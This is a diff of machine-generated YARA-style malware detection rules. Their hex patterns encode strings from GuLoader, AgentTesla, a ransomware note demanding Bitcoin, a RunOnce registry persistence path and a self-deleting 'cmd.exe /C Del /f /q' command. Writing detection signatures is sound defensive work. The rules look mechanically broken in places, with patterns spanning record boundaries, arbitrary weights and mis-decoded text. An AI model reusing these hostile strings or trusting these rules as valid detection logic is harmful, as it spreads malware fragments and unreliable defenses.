33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 74 69 6e 39 39 39 39 2e 74 6d 70 01 00 31 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 } //29505 + $a_65_4 = {62 6c 79 01 00 10 01 55 64 70 52 65 63 65 69 76 65 52 65 73 75 6c 74 00 00 78 d7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 52 30 31 21 4d 54 42 00 01 00 14 81 01 73 6b 72 61 61 73 74 72 69 62 65 64 65 20 72 75 66 66 65 72 01 00 20 81 01 73 75 70 65 72 65 78 65 72 74 69 } //29505 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27756+(#a_6e_2 & 1)*29541+(#a_f1_3 & 1)*-2287+(#a_65_4 & 1)*29505) >=5 } -rule _InfrastructureShared_14481{ +rule _InfrastructureShared_15432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165802,13 +176897,26 @@ rule _InfrastructureShared_14481{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 32 31 30 33 32 34 21 4d 54 42 00 01 00 37 01 11 f7 7f f1 eb 89 3e 67 34 ec b2 d1 91 52 8d f4 aa 83 66 9e a6 fb bd 6a 10 52 10 ab 13 65 a1 b0 45 23 ce ec c2 87 54 ad 5d ac } //18467 $a_fc_1 = {98 6e 11 11 57 ce ce 66 01 00 10 00 59 00 77 00 } //26444 $a_00_2 = {72 00 72 00 63 00 63 00 01 00 25 01 24 65 39 35 64 39 63 66 63 2d 30 64 32 38 2d 34 66 36 62 2d 39 31 64 35 2d 30 36 36 33 35 63 39 65 30 32 64 38 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 10 01 55 64 70 52 65 63 65 69 76 65 52 65 73 75 6c 74 00 00 78 d7 00 00 05 00 05 00 } //106 - $a_23_3 = {53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 74 69 6e } //5 - $a_39_4 = {74 6d 70 01 00 31 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 } //14649 + $a_23_3 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 52 30 31 21 4d } //5 STR:Trojan:Win32/GuLoader.VNR01!M condition: - ((#a_54_0 & 1)*18467+(#a_fc_1 & 1)*26444+(#a_00_2 & 1)*106+(#a_23_3 & 1)*5+(#a_39_4 & 1)*14649) >=5 + ((#a_54_0 & 1)*18467+(#a_fc_1 & 1)*26444+(#a_00_2 & 1)*106+(#a_23_3 & 1)*5) >=5 } -rule _InfrastructureShared_14482{ +rule _InfrastructureShared_15433{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 52 30 31 21 4d 54 42 00 01 00 14 81 01 73 6b 72 61 61 73 74 72 69 62 65 64 65 20 72 75 66 66 65 72 01 00 20 81 01 73 75 70 65 72 65 78 65 72 74 69 6f 6e 20 64 69 66 74 65 72 } //18467 + $a_73_1 = {65 6e 73 2e 65 78 65 01 00 1d 81 01 75 6e 73 61 74 65 64 6e 65 73 73 20 70 65 6b 68 65 74 20 74 65 6c 65 76 69 73 69 6f 6e 01 00 22 81 01 70 61 61 74 61 67 65 6c 73 65 6e 20 6a 6f 72 64 65 6d 6f 72 6b 61 66 66 65 73 20 74 72 6c 61 67 64 65 01 00 1c 81 01 73 65 61 72 65 73 74 20 63 65 6e 74 72 69 66 75 67 65 72 65 } //29801 + $a_64_2 = {6e 67 65 00 00 78 d7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 74 69 6e 39 39 39 39 2e 74 6d 70 01 00 31 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 19 81 } //8306 + $a_69_3 = {20 61 72 63 68 69 76 65 20 69 73 20 63 6f 72 72 75 70 74 65 64 01 00 2d 81 01 5b 41 70 70 44 61 74 61 46 6f 6c 64 65 72 5d 4d 61 64 65 49 6e 43 5c 4d 61 6b 61 72 6f 6e 69 5c 70 72 65 72 65 71 75 69 73 69 74 65 73 01 00 18 81 01 2f 66 6f 72 63 65 63 6c 65 61 6e 75 70 20 20 2f 77 69 6e 74 69 6d 65 20 00 00 78 d7 } //21505 + $a_00_4 = {05 00 06 00 21 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29801+(#a_64_2 & 1)*8306+(#a_69_3 & 1)*21505+(#a_00_4 & 1)*0) >=5 + +} +rule _InfrastructureShared_15434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165822,7 +176930,7 @@ rule _InfrastructureShared_14482{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*23662+(#a_00_2 & 1)*29541+(#a_66_3 & 1)*385+(#a_32_4 & 1)*28265) >=5 } -rule _InfrastructureShared_14483{ +rule _InfrastructureShared_15435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -165837,7 +176945,7 @@ rule _InfrastructureShared_14483{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*21285+(#a_6c_2 & 1)*26113+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=5 } -rule _InfrastructureShared_14484{ +rule _InfrastructureShared_15436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -165846,28 +176954,43 @@ rule _InfrastructureShared_14484{ $a_2e_1 = {72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0d 80 01 73 67 63 5f 64 65 62 75 67 2e 74 78 74 01 00 16 80 01 5b 4b 65 79 6c 6f 67 67 65 72 20 49 53 20 52 55 4e 4e 49 4e 47 5d 01 00 1b 80 01 55 53 45 20 53 48 45 4c 4c 20 41 4e 44 20 50 49 50 45 20 54 4f 20 46 49 4c 45 21 01 00 1a 80 01 4b 65 64 69 } //25701 $a_61_2 = {6f 6e 73 2e 42 72 6f 77 73 65 72 2e 47 4d 61 69 6c 00 00 78 d7 00 00 05 00 05 00 08 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 6f 6f 6e 73 65 72 76 2e 42 21 64 68 61 00 01 00 0d 01 52 65 63 76 43 6d 64 54 68 72 65 61 64 01 00 12 01 43 6d 64 53 68 65 6c 6c 57 69 6e 64 6f } //16942 $a_6d_3 = {01 00 0e 01 55 6e 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 67 65 74 5f 63 6d 64 73 68 65 6c 6c 01 00 16 01 4d 6f 6f 6e 53 65 72 76 65 72 2e 46 69 6c 65 4d 61 6e 61 67 65 72 01 00 12 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 73 4d 75 74 65 78 01 00 16 01 4d 00 6f 00 6f 00 6e 00 52 00 61 } //20087 - $a_00_5 = {69 00 01 00 12 01 44 00 61 00 74 00 61 00 31 00 2e 00 62 00 69 00 6e 00 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 53 41 21 4d 54 42 00 01 00 18 80 01 79 6f 75 20 63 61 6e 74 20 6f 70 65 6e 20 79 6f 75 72 20 66 69 6c 65 73 01 00 2c 80 01 79 6f 75 20 77 69 } //105 - $a_68_6 = {76 65 20 74 6f 20 6d 61 6b 65 20 61 20 74 72 61 6e 73 66 65 72 20 6f 66 20 42 69 74 63 6f 69 6e } //27756 ve to make a transfer of Bitcoin + $a_00_5 = {69 00 01 00 12 01 44 00 61 00 74 00 61 00 31 00 2e 00 62 00 69 00 6e 00 00 00 78 d7 00 00 06 00 06 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 33 32 2f 53 74 61 72 64 61 73 68 2e 42 21 64 68 61 00 05 00 2e 01 52 70 2e 65 78 65 20 55 72 6c 20 52 65 6d 6f 74 65 49 50 20 52 65 6d 6f 74 65 50 6f } //105 + $a_5b_6 = {6e 74 65 72 6e 61 6c 50 72 6f 78 79 5d 01 00 15 01 43 6f 6e 6e 65 63 74 20 57 65 62 70 72 6f 78 } //29810 瑮牥慮偬潲祸ŝᔀ䌁湯敮瑣圠扥牰硯 condition: - ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*25701+(#a_61_2 & 1)*16942+(#a_6d_3 & 1)*20087+(#a_00_5 & 1)*105+(#a_68_6 & 1)*27756) >=5 + ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*25701+(#a_61_2 & 1)*16942+(#a_6d_3 & 1)*20087+(#a_00_5 & 1)*105+(#a_5b_6 & 1)*29810) >=5 } -rule _InfrastructureShared_14485{ +rule _InfrastructureShared_15437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 6f 6f 6e 73 65 72 76 2e 42 21 64 68 61 00 01 00 0d 01 52 65 63 76 43 6d 64 54 68 72 65 61 64 01 00 12 01 43 6d 64 53 68 65 6c 6c 57 69 6e 64 6f 77 4e 61 6d 65 01 00 0e 01 55 } //16675 $a_73_1 = {36 34 53 74 72 69 6e 67 01 00 0c 01 67 65 74 5f 63 6d 64 73 68 65 6c 6c 01 00 16 01 4d 6f 6f 6e 53 65 72 76 65 72 2e 46 69 6c 65 4d 61 6e 61 67 65 72 01 00 12 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 73 4d 75 74 65 78 01 00 16 01 4d 00 6f 00 6f 00 6e 00 52 00 61 00 74 00 2e 00 69 00 6e 00 69 } //17006 - $a_00_3 = {74 00 61 00 31 00 2e 00 62 00 69 00 6e 00 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 53 41 21 4d 54 42 00 01 00 18 80 01 79 6f 75 20 63 61 6e 74 20 6f 70 65 6e 20 79 6f 75 72 20 66 69 6c 65 73 01 00 2c 80 01 79 6f 75 } //68 - $a_6c_4 = {20 68 61 76 65 20 74 6f 20 6d 61 6b 65 20 61 20 74 72 61 6e 73 66 65 72 20 6f 66 20 42 69 74 63 6f 69 6e 73 01 00 1f 80 01 54 72 61 6e 73 66 65 72 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 62 69 74 63 6f 69 6e 73 01 00 0a 80 01 40 62 75 78 6f 64 2e 63 6f 6d 01 00 09 80 01 45 4e 43 52 49 50 54 41 52 01 00 19 80 } //30496 - $a_64_5 = {65 78 65 20 2f 43 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 43 72 79 70 74 2e 52 46 21 4d 54 42 00 01 00 2d 01 43 3a 5c 4d 53 44 45 56 5c 50 72 6f 6a 65 63 74 73 5c 49 6e 66 69 6e 69 44 6f 6f 6d 5c 52 65 6c 65 61 } //25345 - $a_74_6 = {6d 70 2e 77 61 64 01 00 14 01 4c 6f 6f 6b 69 6e 67 20 66 6f 72 20 44 4f 4f 4d 2e 57 41 44 01 00 19 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 6f 72 4e 75 6d 62 65 72 01 00 1e 01 47 65 74 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 49 6e 66 6f 72 6d 61 74 69 6f } //25971 + $a_00_3 = {74 00 61 00 31 00 2e 00 62 00 69 00 6e 00 00 00 78 d7 00 00 06 00 06 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 33 32 2f 53 74 61 72 64 61 73 68 2e 42 21 64 68 61 00 05 00 2e 01 52 70 2e 65 78 65 20 55 72 6c 20 52 65 6d 6f 74 65 49 50 20 52 65 6d 6f 74 } //68 + $a_72_4 = {20 5b 69 6e 74 65 72 6e 61 6c 50 72 6f 78 79 5d 01 00 15 01 43 6f 6e 6e 65 63 74 20 57 65 62 70 72 6f 78 79 20 46 61 69 6c 01 00 18 01 43 6f 6e 6e 65 63 74 20 57 65 62 70 72 6f 78 79 20 73 75 63 63 65 73 73 01 00 1e 01 54 65 6d 69 6e 61 74 65 20 54 68 72 65 61 64 20 61 63 63 65 70 74 68 72 65 61 64 20 52 50 01 00 18 01 43 6f 6e 6e } //20581 + $a_20_5 = {65 62 50 72 6f 78 79 20 43 6f 6e 6e 65 63 74 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 53 41 21 4d 54 42 00 01 00 18 80 01 79 6f 75 20 63 61 6e 74 20 6f 70 65 6e 20 79 6f 75 72 20 66 69 6c 65 73 01 00 2c 80 01 79 6f 75 20 77 69 6c 6c 20 68 61 76 65 20 74 6f 20 6d 61 6b 65 } //25445 + $a_74_6 = {61 6e 73 66 65 72 20 6f 66 20 42 69 74 63 6f 69 6e 73 01 00 1f 80 01 54 72 61 6e 73 66 65 72 20 } //24864 + $a_20_7 = {6d 6f 75 6e 74 20 6f 66 20 62 69 74 63 6f 69 6e 73 01 00 0a 80 01 40 62 75 78 6f 64 2e 63 6f 6d 01 00 09 80 01 45 4e 43 52 49 50 54 41 52 01 00 19 80 01 63 6d 64 2e 65 78 65 20 2f 43 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //26740 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*17006+(#a_00_3 & 1)*68+(#a_6c_4 & 1)*30496+(#a_64_5 & 1)*25345+(#a_74_6 & 1)*25971) >=5 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*17006+(#a_00_3 & 1)*68+(#a_72_4 & 1)*20581+(#a_20_5 & 1)*25445+(#a_74_6 & 1)*24864+(#a_20_7 & 1)*26740) >=5 } -rule _InfrastructureShared_14486{ +rule _InfrastructureShared_15438{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 33 32 2f 53 74 61 72 64 61 73 68 2e 42 21 64 68 61 00 05 00 2e 01 52 70 2e 65 78 65 20 55 72 6c 20 52 65 6d 6f 74 65 49 50 20 52 65 6d 6f 74 65 50 6f 72 74 20 5b 69 6e 74 65 } //16675 + $a_6c_1 = {72 6f 78 79 5d 01 00 15 01 43 6f 6e 6e 65 63 74 20 57 65 62 70 72 6f 78 79 20 46 61 69 6c 01 00 18 01 43 6f 6e 6e 65 63 74 20 57 65 62 70 72 6f 78 79 20 73 75 63 63 65 73 73 01 00 1e 01 54 65 6d 69 6e 61 74 65 20 54 68 72 65 61 64 20 61 63 63 65 70 74 68 72 65 61 64 20 52 50 01 00 18 01 43 } //28274 + $a_65_2 = {74 20 57 65 62 50 72 6f 78 79 20 43 6f 6e 6e 65 63 74 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 53 41 21 4d 54 42 00 01 00 18 80 01 79 6f 75 20 63 61 6e 74 20 6f 70 65 6e 20 79 6f 75 72 20 66 69 6c 65 73 01 00 2c 80 01 79 6f 75 20 77 69 6c 6c 20 68 61 76 } //28271 + $a_6f_3 = {6d 61 6b 65 20 61 20 74 72 61 6e 73 66 65 72 20 6f 66 20 42 69 74 63 6f 69 6e 73 01 00 1f 80 01 54 72 61 6e 73 66 65 72 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 62 69 74 63 6f 69 6e 73 01 00 0a 80 01 40 62 75 78 6f 64 2e 63 6f 6d 01 00 09 80 01 45 4e 43 52 49 50 54 41 52 01 00 19 80 01 63 6d 64 2e 65 78 65 20 2f 43 20 44 65 6c 20 2f 66 20 2f } //8293 + $a_25_4 = {22 00 00 78 d7 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d } //8305 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28274+(#a_65_2 & 1)*28271+(#a_6f_3 & 1)*8293+(#a_25_4 & 1)*8305) >=6 + +} +rule _InfrastructureShared_15439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165882,7 +177005,7 @@ rule _InfrastructureShared_14486{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28532+(#a_66_2 & 1)*28257+(#a_65_3 & 1)*28525+(#a_47_4 & 1)*7680+(#a_69_5 & 1)*28492) >=6 } -rule _InfrastructureShared_14487{ +rule _InfrastructureShared_15440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165896,7 +177019,7 @@ rule _InfrastructureShared_14487{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11888+(#a_00_3 & 1)*0+(#a_3a_4 & 1)*19521+(#a_6f_5 & 1)*29545) >=6 } -rule _InfrastructureShared_14488{ +rule _InfrastructureShared_15441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165910,7 +177033,7 @@ rule _InfrastructureShared_14488{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25701+(#a_69_2 & 1)*21505+(#a_00_4 & 1)*0+(#a_52_5 & 1)*21320) >=6 } -rule _InfrastructureShared_14489{ +rule _InfrastructureShared_15442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165925,7 +177048,7 @@ rule _InfrastructureShared_14489{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_3a_2 & 1)*21587+(#a_6d_3 & 1)*21294+(#a_01_4 & 1)*25956+(#a_67_5 & 1)*27763) >=6 } -rule _InfrastructureShared_14490{ +rule _InfrastructureShared_15443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165940,7 +177063,7 @@ rule _InfrastructureShared_14490{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11892+(#a_54_2 & 1)*3840+(#a_6d_3 & 1)*20069+(#a_65_4 & 1)*25959+(#a_73_5 & 1)*29554) >=6 } -rule _InfrastructureShared_14491{ +rule _InfrastructureShared_15444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165954,7 +177077,7 @@ rule _InfrastructureShared_14491{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28783+(#a_00_3 & 1)*6+(#a_57_4 & 1)*21076+(#a_6c_5 & 1)*25710) >=6 } -rule _InfrastructureShared_14492{ +rule _InfrastructureShared_15445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165969,7 +177092,7 @@ rule _InfrastructureShared_14492{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28001+(#a_67_2 & 1)*26995+(#a_39_3 & 1)*14593+(#a_6c_4 & 1)*25145+(#a_54_5 & 1)*21076) >=6 } -rule _InfrastructureShared_14493{ +rule _InfrastructureShared_15446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165979,13 +177102,13 @@ rule _InfrastructureShared_14493{ $a_48_2 = {44 54 40 66 73 65 33 00 00 78 d7 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 33 39 21 4d 54 42 00 01 00 0e 81 01 59 6b 70 6c 67 70 72 65 } //18501 $a_6d_3 = {6e 01 00 0b 81 01 58 6c 76 61 72 63 71 7a 79 6b 71 01 00 18 81 01 36 71 5a 56 2f 6b 76 46 4a 6f 76 41 31 4b 2b 73 53 6e 52 45 31 67 3d 3d 01 00 0c 81 01 42 6b 52 53 64 4f 45 55 37 36 73 3d 01 00 15 81 01 68 74 74 70 73 3a 2f 2f 71 75 2e 61 78 2f 66 4e 69 2e 6d 70 33 01 00 24 81 01 35 32 39 37 30 32 } //22574 $a_63_4 = {31 65 2d 34 63 33 36 2d 61 33 63 33 2d 64 37 65 33 64 65 37 32 37 34 62 38 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //14689 - $a_d7_5 = {00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 6b 44 4a 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 0c 00 44 6a 4c 6f 61 64 65 72 2e 65 78 65 01 00 16 00 56 6b 6f 6e 74 61 6b 74 65 20 44 4a 20 49 6e 73 74 61 6c 6c 65 72 01 00 09 00 59 41 42 52 4f 57 53 45 52 01 00 09 80 01 79 61 6e 64 65 78 2e 72 75 01 00 1c 80 01 73 6f 66 74 2e 79 } //0 - $a_65_6 = {2e 72 75 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 2b 80 01 63 6c 69 65 6e 74 2e 63 6f 6e 66 69 67 2f 3f 61 70 70 3d 76 6b 5f 64 6f 77 6e 6c 6f 61 64 65 72 26 66 6f 72 6d 61 74 3d 78 6d 6c 01 00 13 80 01 64 6c 67 5f 79 61 6e 64 65 78 5f 73 65 74 75 70 5f 62 67 00 00 78 d7 00 00 07 00 07 00 09 } //28257 + $a_d7_5 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 44 30 31 21 4d 54 42 00 01 00 10 81 01 74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 01 00 0c 81 01 6c 6b 6b 65 72 69 65 74 2e 66 6c 75 01 00 13 81 01 63 6f 6e 73 70 69 63 75 6f 75 73 6e 65 73 73 2e 69 6e 69 01 00 1a 81 01 53 70 69 6c 64 65 76 61 6e 64 73 63 69 72 } //0 + $a_72_6 = {73 32 35 2e 67 65 6e 01 00 10 81 01 53 6b 69 73 74 76 6c 65 72 6e 65 73 2e 61 72 67 01 00 10 81 01 62 61 61 6c 66 72 64 65 72 6e 65 73 2e 70 61 74 01 00 23 81 01 23 5c 73 70 67 65 66 75 6c 64 68 65 64 5c 4d 6f 6e 74 72 61 63 68 65 74 5c 6c 61 62 79 72 69 6e 74 65 6e 00 00 78 d7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 } //30059 condition: - ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14708+(#a_48_2 & 1)*18501+(#a_6d_3 & 1)*22574+(#a_63_4 & 1)*14689+(#a_d7_5 & 1)*0+(#a_65_6 & 1)*28257) >=7 + ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14708+(#a_48_2 & 1)*18501+(#a_6d_3 & 1)*22574+(#a_63_4 & 1)*14689+(#a_d7_5 & 1)*0+(#a_72_6 & 1)*30059) >=7 } -rule _InfrastructureShared_14494{ +rule _InfrastructureShared_15447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -165993,15 +177116,31 @@ rule _InfrastructureShared_14494{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 33 39 21 4d 54 42 00 01 00 0e 81 01 59 6b 70 6c 67 70 72 65 2e 58 64 6d 7a 6e 01 00 0b 81 01 58 6c 76 61 72 63 71 7a 79 6b 71 01 00 18 81 01 36 71 5a 56 2f 6b 76 46 4a 6f } //18467 $a_4b_1 = {73 53 6e 52 45 31 67 3d 3d 01 00 0c 81 01 42 6b 52 53 64 4f 45 55 37 36 73 3d 01 00 15 81 01 68 74 74 70 73 3a 2f 2f 71 75 2e 61 78 2f 66 4e 69 2e } //16758 $a_01_2 = {00 24 81 01 35 32 39 37 30 32 61 39 2d 63 62 31 65 2d 34 63 33 36 2d 61 33 63 33 2d 64 37 65 33 64 65 37 32 37 34 62 38 01 00 0f 81 01 43 72 65 61 74 65 } //28781 - $a_72_3 = {70 74 6f 72 00 00 78 d7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 6b 44 4a 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 0c 00 44 6a 4c 6f 61 64 65 72 2e 65 78 65 01 00 16 00 56 6b 6f 6e 74 61 6b 74 65 20 44 4a 20 49 6e 73 74 61 6c 6c 65 72 01 00 09 00 59 41 42 52 } //25924 - $a_45_4 = {01 00 09 80 01 79 61 6e 64 65 78 2e 72 75 01 00 1c 80 01 73 6f 66 74 2e 79 61 6e 64 65 78 2e 72 75 2f 64 69 73 74 72 69 62 75 74 69 6f 6e 2f 01 00 2b 80 01 63 6c 69 65 6e 74 2e 63 6f 6e 66 69 67 2f 3f 61 70 70 3d 76 6b 5f 64 6f 77 6e 6c 6f 61 64 65 } //22351 - $a_6f_5 = {6d 61 74 3d 78 6d 6c 01 00 13 80 01 64 6c 67 5f 79 61 6e 64 65 78 5f 73 65 74 75 70 5f 62 67 00 00 78 d7 00 00 07 00 07 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 63 6f 6e 64 48 61 6e 64 2e 43 21 64 68 61 00 03 00 10 01 52 65 6d 6f 74 65 53 68 65 6c 6c 53 2e 64 6c 6c 03 00 12 } //9842 - $a_6c_6 = {67 69 6e 52 65 6d 6f 74 65 53 68 65 6c 6c 02 00 0c 01 53 68 65 6c 6c 54 68 72 65 61 64 20 02 00 10 01 50 72 65 50 61 72 65 53 68 65 6c 6c 45 6e 76 20 02 00 06 01 b8 01 01 01 01 c3 02 00 12 01 44 65 6c 65 74 65 50 6c 75 67 69 6e 4f 62 6a 65 } //17153 + $a_72_3 = {70 74 6f 72 00 00 78 d7 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 44 30 31 21 4d 54 42 00 01 00 10 81 01 74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 01 00 0c 81 01 6c 6b 6b 65 72 69 65 74 2e 66 6c 75 01 00 13 81 01 63 6f 6e 73 70 69 63 75 } //25924 + $a_6e_4 = {73 73 2e 69 6e 69 01 00 1a 81 01 53 70 69 6c 64 65 76 61 6e 64 73 63 69 72 6b 75 6c 72 65 73 32 35 2e 67 65 6e 01 00 10 81 01 53 6b 69 73 74 76 6c 65 72 6e 65 73 2e 61 72 67 01 00 10 81 01 62 61 61 6c 66 72 64 65 72 6e 65 73 2e 70 61 74 01 00 23 81 01 23 5c 73 70 67 65 66 75 6c 64 68 65 64 5c 4d 6f 6e 74 72 61 63 68 65 74 5c 6c 61 62 79 72 69 } //30063 + $a_6e_5 = {00 78 d7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 6b 44 4a 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 0c 00 44 6a 4c 6f 61 64 65 72 2e 65 78 65 01 00 16 00 56 6b 6f 6e 74 61 6b 74 65 20 44 4a 20 49 6e 73 74 61 6c 6c 65 72 01 00 09 00 59 41 42 52 4f 57 53 45 52 01 00 } //29806 + $a_79_6 = {6e } //-32759 n condition: - ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*16758+(#a_01_2 & 1)*28781+(#a_72_3 & 1)*25924+(#a_45_4 & 1)*22351+(#a_6f_5 & 1)*9842+(#a_6c_6 & 1)*17153) >=7 + ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*16758+(#a_01_2 & 1)*28781+(#a_72_3 & 1)*25924+(#a_6e_4 & 1)*30063+(#a_6e_5 & 1)*29806+(#a_79_6 & 1)*-32759) >=7 } 